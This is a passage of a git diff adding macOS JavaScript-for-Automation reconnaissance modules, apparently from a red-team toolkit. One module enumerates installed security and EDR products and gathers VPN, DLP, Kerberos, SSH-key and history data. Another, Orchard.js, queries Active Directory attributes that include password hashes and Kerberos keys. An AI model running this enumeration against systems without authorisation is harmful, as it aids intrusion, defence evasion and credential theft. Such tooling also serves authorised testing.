"********** Krb5 Logging **********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Krb5_AD_Logging"; + output = JSON.stringify(output, null, 1); + } + + return output;} + +function PaloaltoGlobalProtect({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/com.paloaltonetworks.GlobalProtect.settings.plist")){ + if(json==false){ + return "**************************************\n" + "********** PaloaltoGlobalProtect portal **********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "PaloaltoGlobalProtect"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.paloaltonetworks.GlobalProtect.settings.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Global Protect Portal'] = contents['Palo Alto Networks']['GlobalProtect']['PanSetup']['Portal']; + output['Prelogon'] = contents['Palo Alto Networks']['GlobalProtect']['PanSetup']['Prelogon']; + if(json==false){ + output = "****************************************************\n" + "***** Paloalto Networks Global Protect Portal *****\n" + "****************************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Check_PaloaltoGlobalProtect"; + output = JSON.stringify(output, null, 1); + } + + return output;} + +function Forcepoint_DLP_Information({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Application Support/Websense Endpoint/DLP/DLPClient.plist")){ + if(json==false){ + return "**************************************\n" + "********** Forcepoint DLP Information **********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Forcepoint_DLP_Information"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Application Support/Websense Endpoint/DLP/DLPClient.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Connection domain name'] = contents['Connection domain name']; + output['Connection status'] = contents['Connection status']; + output['Connection user name'] = contents['Connection user name']; + output['Discovery status'] = contents['Discovery status']; + output['Endpoint profile name'] = contents['Endpoint profile name']; + output['Endpoint silent mode'] = contents['Endpoint silent mode']; + output['Endpoint status'] = contents['Endpoint status']; + output['Fingerprint version'] = contents['Fingerprint version']; + output['Policy version'] = contents['Policy version']; + output['Profile version'] = contents['Profile version']; + output['Remote bypass'] = contents['Remote bypass']; + if(json==false){ + output = "********************************\n" + "***** Forcepoint DLP Info *****\n" + "********************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Forcepoint_DLP_Information"; + output = JSON.stringify(output, null, 1); + } + + return output;} + +function AVEnum() { +var fileMan = $.NSFileManager.defaultManager; +var runapps = $.NSWorkspace.sharedWorkspace.runningApplications.js; +var applist = []; +for(let i = 0; i < runapps.length; i++){ + let info = {}; + info['name'] = runapps[i].localizedName.js; + applist.push(info['name']); + +} + +var output = ""; + +var allapps = applist.toString(); +var b = 0; +output += "**************************************\n"; +output += "*********Security Tools Check*********\n"; +output += "**************************************\n"; +if ((allapps.includes("CbOsxSensorService")) || (fileMan.fileExistsAtPath("/Applications/CarbonBlack/CbOsxSensorService"))){ + output += "[+] Carbon Black Sensor installed.\n"; + b = 1; +} + +if ((allapps.includes("CbDefense")) || (fileMan.fileExistsAtPath("/Applications/Confer.app"))){ + output += "[+] CB Defense A/V installed.\n"; + b = 1; +} + +if ((allapps.includes("ESET")) || (allapps.includes("eset")) || (fileMan.fileExistsAtPath("Library/Application Support/com.eset.remoteadministrator.agent"))){ + output += "[+] ESET A/V installed.\n"; + b = 1; +} + +if ((allapps.includes("Littlesnitch")) || (allapps.includes("Snitch")) || (fileMan.fileExistsAtPath("/Library/Little Snitch/"))){ + output += "[+] Littlesnitch firewall found.\n"; + b = 1; +} + +if ((allapps.includes("xagt")) || (fileMan.fileExistsAtPath("/Library/FireEye/xagt"))){ + output += "[+] FireEye HX agent found.\n"; + b = 1; +} + +if ((allapps.includes("falconctl")) || (fileMan.fileExistsAtPath("/Library/CS/falcond"))){ + output += "[+] Crowdstrike Falcon agent found.\n"; + b = 1; +} + +if ((allapps.includes("OpenDNS")) || (allapps.includes("opendns")) || (fileMan.fileExistsAtPath("/Library/Application Support/OpenDNS Roaming Client/dns-updater"))){ + output += "[+] OpenDNS client found.\n"; + b = 1; +} + +if ((allapps.includes("SentinelOne")) || (allapps.includes("sentinelone"))){ + output += "[+] Sentinel One agent found.\n"; + b = 1; +} + +if ((allapps.includes("GlobalProtect")) || (allapps.includes("PanGPS")) || (fileMan.fileExistsAtPath("/Library/Logs/PaloAltoNetworks/GlobalProtect")) || (fileMan.fileExistsAtPath("/Library/PaloAltoNetworks"))){ + output += "[+] Global Protect PAN VPN client found.\n"; + b = 1; +} + +if ((allapps.includes("HostChecker")) || (allapps.includes("pulsesecure")) || (fileMan.fileExistsAtPath("/Applications/Pulse Secure.app")) || (allapps.includes("Pulse-Secure"))){ + output += "[+] Pulse VPN client found.\n"; + b = 1; +} + +if ((allapps.includes("AMP-for-Endpoints")) || (fileMan.fileExistsAtPath("/opt/cisco/amp"))){ + output += "[+] Cisco AMP for endpoints found.\n"; + b = 1; +} + +if ((fileMan.fileExistsAtPath("/usr/local/bin/jamf")) || (fileMan.fileExistsAtPath("/usr/local/jamf"))){ + output += "[+] JAMF found on this host.\n"; + b = 1; +} + +if (fileMan.fileExistsAtPath("/Library/Application Support/Malwarebytes")){ + output += "[+] Malwarebytes A/V found.\n"; + b = 1; +} + +if (fileMan.fileExistsAtPath("/usr/local/bin/osqueryi")){ + output += "[+] osquery found.\n"; + b = 1; +} + +if (fileMan.fileExistsAtPath("/Library/Sophos Anti-Virus/")){ + output += "[+] Sophos A/V found.\n"; + b = 1; +} + +if ((allapps.includes("lulu")) || (fileMan.fileExistsAtPath("/Library/Objective-See/Lulu")) || (fileMan.fileExistsAtPath("/Applications/LuLu.app"))){ + output += "[+] LuLu firewall found.\n"; + b = 1; +} + +if ((allapps.includes("dnd")) || (fileMan.fileExistsAtPath("/Library/Objective-See/DND")) || (fileMan.fileExistsAtPath("/Applications/Do Not Disturb.app/"))){ + output += "[+] LuLu firewall found.\n"; + b = 1; +} + +if ((allapps.includes("WhatsYourSign")) || (fileMan.fileExistsAtPath("/Applications/WhatsYourSign.app"))){ + output += "[+] Whats Your Sign code signature info tool found.\n"; + b = 1; +} + +if ((allapps.includes("KnockKnock")) || (fileMan.fileExistsAtPath("/Applications/KnockKnock.app"))){ + output += "[+] Knock Knock persistence detection tool found.\n"; + b = 1; +} + +if ((allapps.includes("reikey")) || (fileMan.fileExistsAtPath("/Applications/ReiKey.app"))){ + output += "[+] ReiKey keyboard event taps detection tool found.\n"; + b = 1; +} + +if ((allapps.includes("OverSight")) || (fileMan.fileExistsAtPath("/Applications/OverSight.app"))){ + output += "[+] OverSight microphone and camera monitoring tool found.\n"; + b = 1; +} + +if ((allapps.includes("KextViewr")) || (fileMan.fileExistsAtPath("/Applications/KextViewr.app"))){ + output += "[+] KextViewr kernel module detection tool found.\n"; + b = 1; +} + +if ((allapps.includes("blockblock")) || (fileMan.fileExistsAtPath("/Applications/BlockBlock Helper.app"))){ + output += "[+] Block Block persistence location monitoring tool found.\n"; + b = 1; +} + +if ((allapps.includes("Netiquette")) || (fileMan.fileExistsAtPath("/Applications/Netiquette.app"))){ + output += "[+] Netiquette network monitoring tool found.\n"; + b = 1; +} + +if ((allapps.includes("processmonitor")) || (fileMan.fileExistsAtPath("/Applications/ProcessMonitor.app"))){ + output += "[+] Objective See Process Monitor tool found.\n"; + b = 1; +} + +if ((allapps.includes("filemonitor")) || (fileMan.fileExistsAtPath("/Applications/FileMonitor.app"))){ + output += "[+] Objective See File Monitor tool found.\n"; + b = 1; +} + +if (b == 0){ + output += "[-] No security products found."; +} + +output += "**************************************\n"; +return output;} + + +//--------------------------------------------------------- +function All_Checks({help=false, json=false, user=""} = {}){ + let output = ""; + let input_parameter = {"help":help, "json":json, "user": user}; + output += "\n" + Persistent_Dock_Apps(input_parameter); + output += "\n" + Spaces_Check(input_parameter); + output += "\n" + Get_Office_Email(input_parameter); + output += "\n" + Saved_Printers(input_parameter); + output += "\n" + Finder_Preferences(input_parameter); + output += "\n" + Launch_Services(input_parameter); + output += "\n" + Universal_Access_Auth_Warning(input_parameter); + output += "\n" + Relaunch_At_Login(input_parameter); + output += "\n" + Login_Items(input_parameter); + output += "\n" + User_Dir_Hidden_Files_Folders(input_parameter); + output += "\n" + User_Global_Preferences(input_parameter); + output += "\n" + User_Launchagents(input_parameter); + output += "\n" + User_Launchdaemons(input_parameter); + output += "\n" + System_Launchdaemons(input_parameter); + output += "\n" + Installed_Software_Versions(input_parameter); + output += "\n" + Unique_Bash_History_Sessions(input_parameter); + output += "\n" + SSH_Keys(input_parameter); + output += "\n" + Slack_Download_Cache_History(input_parameter); + output += "\n" + Slack_Team_Information(input_parameter); + output += "\n" + Recent_Files(input_parameter); + output += "\n" + Firewall(input_parameter); + output += "\n" + Airport_Preferences(input_parameter); + output += "\n" + SMB_Server(input_parameter); + output += "\n" + WiFi_Messages(input_parameter); + output += "\n" + Network_Interfaces(input_parameter); + output += "\n" + Bluetooth_Connections(input_parameter); + output += "\n" + OS_Version(input_parameter); + output += "\n" + Krb5_AD_Config(input_parameter); + output += "\n" + Krb5_AD_Logging(input_parameter); + output += "\n" + PaloaltoGlobalProtect(input_parameter); + output += "\n" + Forcepoint_DLP_Information(input_parameter); + output += "\n" + AVEnum(); + return output; +} +function User_Preferences({help=false, json=false, user=""} = {}){ + let output = ""; + let input_parameters = {"help":help, "json":json, "user": user}; + output += "\n" + Persistent_Dock_Apps(input_parameters); + output += "\n" + Spaces_Check(input_parameters); + output += "\n" + Get_Office_Email(input_parameters); + output += "\n" + Saved_Printers(input_parameters); + output += "\n" + Finder_Preferences(input_parameters); + output += "\n" + Launch_Services(input_parameters); + output += "\n" + Universal_Access_Auth_Warning(input_parameters); + output += "\n" + Relaunch_At_Login(input_parameters); + output += "\n" + Global_Preferences(input_parameters); + output += "\n" + OS_Version(input_parameters); + output += "\n" + Installed_Software_Versions(input_parameters); + output += "\n" + User_Launchagents(input_parameters); + output += "\n" + User_Launchdaemons(input_parameters); + output += "\n" + Slack_Download_Cache_History(input_parameters); + output += "\n" + Slack_Team_Information(input_parameters); + return output; +} +function Global_Preferences({help=false, json=false, user=""} = {}){ + let output = ""; + let input_parameters = {"help":help, "json":json, "user": user}; + output += "\n" + Firewall(input_parameters); + output += "\n" + Airport_Preferences(input_parameters); + output += "\n" + SMB_Server(input_parameters); + output += "\n" + WiFi_Messages(input_parameters); + output += "\n" + Network_Interfaces(input_parameters); + output += "\n" + Bluetooth_Connections(input_parameters); + output += "\n" + Krb5_AD_Config(input_parameters); + output += "\n" + Krb5_AD_Logging(input_parameters); + output += "\n" + PaloaltoGlobalProtect(input_parameters); + output += "\n" + Forcepoint_DLP_Information(input_parameters); + return output; +} diff --git a/resources/modules/Orchard.js b/resources/modules/Orchard.js new file mode 100644 index 00000000..d7f3527d --- /dev/null +++ b/resources/modules/Orchard.js @@ -0,0 +1,1164 @@ +//Author Cody Thomas, @its_a_feature_ +ObjC.import("Foundation"); +ObjC.import("stdio"); +ObjC.import('OpenDirectory'); +//for all of these, there is a switch to use ObjC calls vs terminal calls +currApp = Application.currentApplication(); +currApp.includeStandardAdditions = true; +// Lookup tables for doing OpenDirectory queries via LDAP +var object_class = { + "AttributeTypes": "dsRecTypeStandard:AttributeTypes", + "AFPServer": "dsRecTypeStandard:AFPServer", + "Aliases": "dsRecTypeStandard:Aliases", + "Augments": "dsRecTypeStandard:Augments", + "Automount": "dsRecTypeStandard:Automount", + "AutomountMap": "dsRecTypeStandard:AutomountMap", + "AutoServerSetup": "dsRecTypeStandard:AutoServerSetup", + "Bootp": "dsRecTypeStandard:Bootp", + "CertificateAuthorities": "dsRecTypeStandard:CertificateAuthorities", + "ComputerLists": "dsRecTypeStandard:ComputerLists", + "ComputerGroups": "dsRecTypeStandard:ComputerGroups", + "Computers": "dsRecTypeStandard:Computers", + "Configuration": "dsRecTypeStandard:Config", + "Ethernets": "dsRecTypeStandard:Ethernets", + "FileMakerServers": "dsRecTypeStandard:FileMakerServers", + "FTPServer": "dsRecTypeStandard:FTPServer", + "Groups": "dsRecTypeStandard:Groups", + "HostServices": "dsRecTypeStandard:HostServices", + "Hosts": "dsRecTypeStandard:Hosts", + "LDAPServer": "dsRecTypeStandard:LDAPServer", + "Locations": "dsRecTypeStandard:Locations", + "Mounts": "dsRecTypeStandard:Mounts", + "NFS": "dsRecTypeStandard:NFS", + "NetDomains": "dsRecTypeStandard:NetDomains", + "NetGroups": "dsRecTypeStandard:NetGroups", + "Networks": "dsRecTypeStandard:Networks", + "PasswordServer": "dsRecTypeStandard:PasswordServer", + "People": "dsRecTypeStandard:People", + "Plugins": "dsRecTypeStandard:Plugins", + "PresetComputers": "dsRecTypeStandard:PresetComputers", + "PresetComputerGroups": "dsRecTypeStandard:PresetComputerGroups", + "PresetComputerLists": "dsRecTypeStandard:PresetComputerLists", + "PresetGroups": "dsRecTypeStandard:PresetGroups", + "PresetUsers": "dsRecTypeStandard:PresetUsers", + "PrintService": "dsRecTypeStandard:PrintService", + "PrintServiceUser": "dsRecTypeStandard:PrintServiceUser", + "Printers": "dsRecTypeStandard:Printers", + "Protocols": "dsRecTypeStandard:Protocols", + "QTSServer": "dsRecTypeStandard:QTSServer", + "RecordTypes": "dsRecTypeStandard:RecordTypes", + "Resources": "dsRecTypeStandard:Resources", + "RPC": "dsRecTypeStandard:RPC", + "SMBServer": "dsRecTypeStandard:SMBServer", + "Server": "dsRecTypeStandard:Server", + "Services": "dsRecTypeStandard:Services", + "SharePoints": "dsRecTypeStandard:SharePoints", + "UserAuthenticationData": "dsRecTypeStandard:UserAuthenticationData", + "Users": "dsRecTypeStandard:Users", + "WebServer": "dsRecTypeStandard:WebServer", +} +var match_type = { + "Any": 0x01,//$.kODMatchAny, + "BeginsWith": 0x2002,//$.kODMatchInsensitiveBeginsWith, + "EndsWith": 0x2003,//$.kODMatchInsensitiveEndsWith, + "Contains": 0x2004,//$.kODMatchInsensitiveContains, + "EqualTo": 0x2001,//$.kODMatchInsensitiveEqualTo, + "LessThan": 0x2007,//$.kODMatchLessThan, + "GreaterThan": 0x2006,//$.kODMatchGreaterThan +} +var attributes_list = { + "all": ["", "dsAttributesAll"], + "*": ["", "dsAttributesAll"], + "accountpolicydata": ["accountPolicyData", "dsAttrTypeNative:"], + "accountexpires": ["accountExpires", "dsAttrTypeNative:"], + "admincount": ["adminCount", "dsAttrTypeNative:"], + "adminlimits": ["AdminLimits", "dsAttrTypeStandard:"], + "altsecurityidentities": ["AltSecurityIdentities", "dsAttrTypeStandard:"], //x509 + "afp_guestaccess": ["afp_guestaccess", "dsAttrTypeNative:"], + "afp_name": ["afp_name", "dsAttrTypeNative:"], + "afp_shared": ["afp_shared", "dsAttrTypeNative:"], + "authenticationhint": ["AuthenticationHint", "dsAttrtypeStandard:"], + "badpasswordtime": ["badPasswordTime", "dsAttrTypeNative:"], + "badpwdcount": ["badPwdCount", "dsAttrTypeNative:"], + "bootfile": ["BootFile", "dsAttrTypeStandard:"], + "bootparams": ["BootParams", "dsAttrTypeStandard:"], + "cacertificiate": ["CACertificate", "dsAttrTypeStandard:"], + "capacity": ["Capacity", "dsAttrTypeStandard:"], + "category": ["Category", "dsAttrtypeStandard:"], + "certificaterevocationlist": ["CertificateRevocationList", "dsAttrTypeStandard:"], + "codepage": ["codePage", "dsAttrTypeNative:"], + "comment": ["Comment", "dsAttrTypeStandard:"], + "contactguid": ["ContactGUID", "dsAttrtypeStandard:"], + "countrycode": ["countryCode", "dsAttrTypeNative:"], + "creationtimestamp": ["CreationTimestamp", "dsAttrTypeStandard:"], + "crosscertificatepair": ["CrossCertificatePair", "dsAttrTypeStandard:"], + "cn": ["cn", "dsAttrTypeNative:"], + "fullname": ["FullName", ""], //have to use realname + "displayname": ["displayName", "dsAttrTypeNative:"], + "distinguishedname": ["distinguishedName", "dsAttrTypeNative:"], + "directory_path": ["directory_path", "dsAttrTypeNative:"], + "dnsdomain": ["DNSDomain", "dsAttrTypeStandard:"], + "dnsnameserver": ["DNSNameServer", "dsAttrTypeStandard:"], + "dscorepropagationdata": ["dsCorePropagationData", "dsAttrTypeNative:"], + "emailaddress": ["EMailAddress", "dsAttrTypeStandard:"], + "enetaddress": ["ENetAddress", "dsAttrTypeNative:"], + "expire": ["Expire", "dsAttrTypeStandard:"], + "firstname": ["FirstName", "dsAttrTypeStandard:"], + "ftp_name": ["ftp_name", "dsAttrTypeNative:"], + "generateduid": ["GeneratedUID", "dsAttrTypeStandard:"], + "grouptype": ["groupType", "dsAttrTypeNative:"], + "hardwareuuid": ["HardwareUUID", "dsAttrTypeStandard:"], + "heimdalsrpkey": ["HeimdalSRPKey", "dsAttrTypeNative:"], + "ishidden": ["IsHidden", "dsAttrTypeNative:"], + "instancetype": ["instanceType", "dsAttrTypeNative:"], + "iscriticalsystemobject": ["isCriticalSystemObject", "dsAttrTypeNative:"], + "jobtitle": ["JobTitle", "dsAttrTypeStandard:"], + "kerberoskeys": ["KerberosKeys", "dsAttrTypeNative:"], + "kerberosservices": ["KerberosServices", "dsAttrTypeStandard:"], //host, afpserver, cifs, vnc, etc + "lastname": ["LastName", "dsAttrTypeStandard:"], + "lastlogoff": ["lastLogoff", "dsAttrTypeNative:"], + "lastlogon": ["lastLogon", "dsAttrTypeNative:"], + "lastlogontimestamp": ["lastLogonTimestamp", "dsAttrTypeNative:"], + "localpolicyglags": ["localPolicyFlags", "dsAttrTypeNative:"], + "logoncount": ["logonCount", "dsAttrTypeNative:"], + "logonhours": ["logonHours", "dsAttrTypeNative:"], + "ldapsearchbasesuffix": ["LDAPSearchBaseSuffix", "dsAttrtypeStandard:"], + "automountmap": ["AutomountMap", "dsAttrTypeStandard:"], + "applemetanodelocation": ["AppleMetaNodeLocation", "dsAttrTypeStandard:"], + "applemetarecordname": ["AppleMetaRecordName", "dsAttrTypeStandard:"], + "machineserves": ["MachineServes", "dsAttrTypeStandard:"], + "mcxflags": ["MCXFlags", "dsAttrTypeStandard:"], + "mcxsettings": ["MCXSettings", "dsAttrTypeStandard:"], + "middlename": ["MiddleName", "dsAttrTypeStandard:"], + "member": ["member", "dsAttrTypeNative:"], + "memberof": ["memberOf", "dsAttrTypeNative:"], + "members": ["members", "dsAttrTypeNative:"], + "msdfsr-computerreferencebl": ["msDFSR-ComputerReferenceBL", "dsAttrTypeNative:"], + "msds-generationid": ["msDS-GenerationId", "dsAttrTypeNative:"], + "msds-supportedencryptiontypes":["msDS-SupportedEncryptionTypes", "dsAttrTypeNative:"], + "modificationtimestamp": ["ModificationTimestamp", "dsAttrTypeStandard:"], + "name": ["name", "dsAttrTypeNative:"], + "networkaddress": ["networkAddress", "dsAttrTypeNative:"], + "networkview": ["NetworkView", "dsAttrTypeStandard:"], + "nfshomedirectory": ["NFSHomeDirectory", "dsAttrTypeStandard:"], + "nodesaslrealm": ["NodeSASLRealm", "dsAttrTypeStandard:"], + "note": ["Note", "dsAttrTypeStandard:"],//says this is for last name attribute??? + "objectclass": ["objectClass", "dsAttrTypeNative:"], + "objectcategory": ["objectCategory", "dsAttrTypeNative:"], + "objectguid": ["objectGUID", "dsAttrTypeNative:"], + "objectsid": ["objectSid", "dsAttrTypeNative:"], + "olcdatabase": ["OLCDatabase", "dsAttrTypeStandard:"], + "olcdatabaseindex": ["OLCDatabaseIndex", "dsAttrTypeStandard:"], + "olcsyncrepl": ["OLCSyncRepl", "dsAttrTypeStandard:"], + "operatingsystem": ["operatingSystem", "dsAttrTypeNative:"], + "operatingsystemversion": ["operatingSystemVersion", "dsAttrTypeNative:"], + "owner": ["Owner", "dsAttrTypeStandard:"], + "ownerguid": ["OwnerGUID", "dsAttrTypeStandard:"], + "password": ["Password", "dsAttrTypeStandard:"], + "passwordplus": ["PasswordPlus", "dsAttrTypeStandard:"],//indicates authentication redirection + "passwordpolicyoptions": ["PasswordPolicyOptions", "dsAttrTypeStandard:"], + "passwordserverlist": ["PasswordServerList", "dsAttrTypeStandard:"], + "passwordserverlocation": ["PasswordServerLocation", "dsAttrTypeStandard:"], + "port": ["Port", "dsAttrTypeStandard:"],//which port a service is on + "presetuserisadmin": ["PresetUserIsAdmin", "dsAttrTypeStandard:"], + "primarycomputerguid": ["PrimaryComputerGUID", "dsAttrTypeStandard:"], + "primarycomputerlist": ["PrimaryComputerList", "dsAttrTypeStandard:"], + "primarygroupid": ["PrimaryGroupID", "dsAttrTypeStandard:"], + "profiles": ["Profiles", "dsAttrTypeStandard:"], + "profilestimestamp": ["ProfilesTimestamp", "dsAttrTypeStandard:"], + "realname": ["RealName", "dsAttrTypeStandard:"], //Yes, fullname maps to realname because... apple + "realuserid": ["RealUserID", "dsAttrTypeStandard:"], + "relativednprefix": ["RelativeDNPrefix", "dsAttrTypeStandard:"],//relative distinguished name, + "ridsetreferences": ["rIDSetReferences", "dsAttrTypeNative:"], + "samaccountname": ["sAMAccountName", "dsAttrTypeNative:"], + "samaccounttype": ["sAMAccountType", "dsAttrTypeNative:"], + "serverreferencebl": ["serverReferenceBL", "dsAttrTypeNative:"], + "serviceprincipalname": ["servicePrincipalName", "dsAttrTypeNative:"], + "shadowhashdata": ["ShadowHashData", "dsAttrTypeNative:"], + "smbacctflags": ["SMBAccountFlags", "dsAttrTypeStandard:"],//account control flag + "smbgrouprid": ["SMBGroupRID", "dsAttrTypeStandard:"], //define PDC SMB interaction with DirectoryService + "smbhome": ["SMBHome", "dsAttrTypeStandard:"],//UNC address of a windows home directory mount point + "smbhomedrive": ["SMBHomeDrive", "dsAttrTypeStandard:"], + "smbprimarygroupsid": ["SMBPrimaryGroupSID", "dsAttrTypeStandard:"], + "smbpasswordlastset": ["SMBPasswordLastSet", "dsAttrTypeStandard:"],// used in SMB interaction + "smbprofilepath": ["SMBProfilePath", "dsAttrTypeStandard:"],//defines desktop management info + "smbrid": ["SMBRID", "dsAttrTypeStandard:"], //used in SMB interaction + "smbscriptpath": ["SMBScriptPath", "dsAttrTypeStandard:"],//define SMB login script path + "smbsid": ["SMBSID", "dsAttrTypeStandard:"], //define SMB Security ID + "smbuserworkstations": ["SMBUserWorkstations", "dsAttrTypeStandard:"],//list of workstations a user can log in from + "smblogofftime": ["SMBLogoffTime", "dsAttrTypeStandard:"], + "smblogontime": ["SMBLogonTime", "dsAttrTypeStandard:"], + "smb_createmask": ["smb_createmask", "dsAttrTypeNative:"], + "smb_directorymask": ["smb_directorymask", "dsAttrTypeNative:"], + "smb_guestaccess": ["smb_guestaccess", "dsAttrTypeNative:"], + "smb_name": ["smb_name", "dsAttrTypeNative:"], + "smb_shared": ["smb_shared", "dsAttrTypeNative:"], + "servicetype": ["ServiceType", "dsAttrTypeStandard:"],//define SMB login script path + "serviceslocator": ["ServicesLocator", "dsAttrTypeStandard:"], + "setupadvertising": ["SetupAssistantAdvertising", "dsAttrTypeStandard:"],//raw service type of a service, ex: http or https for kODRecordTypeWebServer + "sharepoint_account_uuid": ["sharepoint_account_uuid", "dsAttrTypeNative:"], + "sharepoint_group_id": ["sharepoint_group_id", "dsAttrTypeNative:"], + "showinadvancedviewonly": ["showInAdvancedViewOnly", "dsAttrTypeNative:"], + "uniqueid": ["UniqueID", "dsAttrTypeStandard:"], //user's 32bit ID in legacy manner + "unlockoptions": ["unlockOptions", "dsAttrTypeNative:"], + "url": ["URL", "dsAttrTypeStandard:"], + "users": ["users", "dsAttrTypeNative:"], + "usnchanged": ["uSNChanged", "dsAttrTypeNative:"], + "usncreated": ["uSNCreated", "dsAttrTypeNative:"], + "useraccountcontrol": ["userAccountControl", "dsAttrTypeNative:"], + "usercertificate": ["UserCertificate", "dsAttrTypeStandard:"], + "userpkcs12data": ["UserPKCS12Data", "dsAttrTypeStandard:"], + "usershell": ["UserShell", "dsAttrTypeStandard:"], + "usersmimecertificate": ["UserSMIMECertificate", "dsAttrTypeStandard:"], + "webloguri": ["WeblogURI", "dsAttrTypeStandard:"],//URI of a user's weblog + "whenchanged": ["whenChanged", "dsAttrTypeNative:"], + "whencreated": ["whenCreated", "dsAttrTypeNative:"], + "_writers_usercertificate": ["_writers_UserCertificate", "dsAttrTypeNative:"], + "_writers_hint": ["_writers_hint", "dsAttrTypeNative:"], + "_writers_passwd": ["_writers_passwd", "dsAttrTypeNative:"], + "_writers_unlockoptions": ["_writers_unlockOptions", "dsAttrTypeNative:"], + "_writers_usercertificate": ["_writers_UserCertificate", "dsAttrTypeNative:"], + "xmlplist": ["XMLPlist", "dsAttrTypeStandard:"],//specify an XML Property List + "protocolnumber": ["ProtocolNumber", "dsAttrTypeStandard:"], + "rpcnumber": ["RPCNumber", "dsAttrTypeStandard:"], + "networknumber": ["NetworkNumber", "dsAttrTypeStandard:"], + "accesscontrolentry": ["AccessControlEntry", "dsAttrTypeStandard:"], + "authenticationauthority": ["AuthenticationAuthority", "dsAttrTypeStandard:"], //specify mechanism used to verify or set a user's password + "authorityrevocationlist": ["AuthorityRevocationList", "dsAttrTypeStandard:"], + "automountinformation": ["AutomountInformation", "dsAttrTypeStandard:"], + "computers": ["Computers", "dsAttrTypeStandard:"], + "dnsname": ["DNSName", "dsAttrTypeStandard:"], + "group": ["Group", "dsAttrTypeStandard:"],//store a list of groups + "groupmembers": ["GroupMembers", "dsAttrTypeStandard:"], //specify GUID values of members of a group that are not groups + "groupmembership": ["GroupMembership", "dsAttrTypeStandard:"], //specify list of users that belong to a given group + "groupservices": ["GroupServices", "dsAttrTypeStandard:"],//XML plist to define group's services, + "homedirectory": ["HomeDirectory", "dsAttrTypeStandard:"], + "imhandle": ["IMHandle", "dsAttrTypeStandard:"],//user's instant messaging handles + "ipaddress": ["IPAddress", "dsAttrTypeStandard:"], + "ipv6address": ["IPv6Address", "dsAttrTypeStandard:"], + "kdcauthkey": ["KDCAuthKey", "dsAttrTypeStandard:"],//store a KDC master key + "kdcconfigdata": ["KDCConfigData", "dsAttrTypeStandard:"], + "keywords": ["Keywords", "dsAttrTypeStandard:"], + "ldapreadreplicas": ["LDAPReadReplicas", "dsAttrTypeStandard:"],//list of LDAP server URLs that can be used to read directory data + "ldapwritereplicas": ["LDAPWriteReplicas", "dsAttrTypeStandard:"], + "linkedidentity": ["LinkedIdentity", "dsAttrTypeNative:"], + "localerelay": ["LocaleRelay", "dsAttrTypeStandard:"], + "localesubnets": ["LocaleSubnets", "dsAttrTypeStandard:"], + "nestedgroups": ["NestedGroups", "dsAttrTypeStandard:"], //specify list of nested group GUID values in a group attribute + "netgroups": ["NetGroups", "dsAttrTypeStandard:"],//specify a list of net groups that a user or host record is a member of + "nickname": ["NickName", "dsAttrTypeStandard:"], + "organizationinfo": ["OrganizationInfo", "dsAttrTypeStandard:"], + "organizationname": ["OrganizationName", "dsAttrTypeStandard:"], + "pgppublickey": ["PGPPublicKey", "dsAttrTypeStandard:"], + "protocols": ["Protocols", "dsAttrTypeStandard:"], + "recordname": ["RecordName", "dsAttrTypeStandard:"], + "record_daemon_version": ["record_daemon_version", "dsAttrTypeNative:"], + "relationships": ["Relationships", "dsAttrTypeStandard:"], + "resourceinfo": ["ResourceInfo", "dsAttrTypeStandard:"], + "resourcetype": ["ResourceType", "dsAttrTypeStandard:"], + "authcredential": ["AuthCredential", "dsAttrTypeStandard:"],//stores an authentication credential used to authenticate to a directory + "daterecordcreated": ["DateRecordCreated", "dsAttrTypeStandard:"], + "kerberosflags": ["KerberosFlags", "dsAttrTypeNative:"], + "kerberosrealm": ["KerberosRealm", "dsAttrTypeStandard:"], + "ntdomaincomputeraccount": ["NTDomainComputerAccount", "dsAttrTypeStandard:"],//support kerberos SMB server services + "primaryntdomain": ["PrimaryNTDomain", "dsAttrTypeStandard:"], + "pwdagingpolicy": ["PwdAgingPolicy", "dsAttrTypeStandard:"],//record's password aging policy + "readonlynode": ["ReadOnlyNode", "dsAttrTypeStandard:"], + "authmethod": ["AuthMethod", "dsAttrTypeStandard:"],//specify a record's authentication method + "recordtype": ["RecordType", "dsAttrTypeStandard:"], //specify type of a record or directory node + "advertisedservices": ["AdvertisedServices", "dsAttrTypeStandard:"],//specify (Bounjour) advertised services + "networkinterfaces": ["NetworkInterfaces", "dsAttrTypeStandard:"], + "primarylocale": ["PrimaryLocale", "dsAttrTypeStandard:"] +} +var node_list = { + "network": 0x2205,//$.kODNodeTypeNetwork, + "local": 0x2200,//$.kODNodeTypeLocalNodes, + "config": 0x2202,//$.kODNodeTypeConfigure, + "contacts": 0x2204,//$.kODNodeTypeContacts +} +// helper functions to actually do the OD queries and return results +function Get_OD_ObjectClass({objectclass="Users", match="Any", value=null, max_results=0, query_attributes="All", return_attributes=[null], nodetype='network'} = {}){ + //gets all attributes for all local users + var session = Ref(); + var node = Ref(); + var query = Ref(); + session = $.ODSession.defaultSession; + //console.log(session); + var fixed_return_attributes = []; + for(var i in return_attributes){ + if(return_attributes[i] != null){ + ret_attr_lower = return_attributes[i].toLowerCase(); + if(attributes_list.hasOwnProperty(ret_attr_lower)){ + fixed_return_attributes.push(attributes_list[ret_attr_lower][1] + attributes_list[ret_attr_lower][0]); + } + }else{ + fixed_return_attributes.push(null); + } + } + if(fixed_return_attributes.length == 1){ + fixed_return_attributes = fixed_return_attributes[0]; + } + if(attributes_list.hasOwnProperty(query_attributes.toLowerCase())){ + query_attr_lower = query_attributes.toLowerCase(); + query_attributes = attributes_list[query_attr_lower][1] + attributes_list[query_attr_lower][0]; + } + else{ + console.log("query attribute " + query_attributes + " not found"); + return; + } + //console.log(fixed_return_attributes); + node = $.ODNode.nodeWithSessionTypeError(session, 